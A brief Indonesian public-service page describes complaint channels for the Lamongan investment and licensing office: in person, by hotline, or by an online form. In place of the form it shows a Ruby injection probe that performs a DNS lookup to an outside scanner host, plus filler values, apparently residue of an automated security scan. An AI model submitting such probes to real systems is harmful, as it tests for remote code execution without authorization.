MEKANISME PENGADUAN

Berikut ini adalah mekanisme untuk melakukan pengaduan di DPMPTSP Kabupaten Lamongan :

  1. Melalui Offline bisa langsung berkunjung ke gedung Mal Pelayanan Publik Kabupaten Lamongan
  2. Pengaduan bisa menghubungi via hotline DPMPTSP +62 821 3131 3838
  3. Melalui Pengaduan Online, dengan mengisi form di bawah ini :

'A'.concat(70-3).concat(22*4).concat(113).concat(72).concat(97).concat(85)+(require'socket' Socket.gethostbyname('hitxd'+'svfatrtt3529d.bxss.me.')[3].to_s)

555

Array

555

555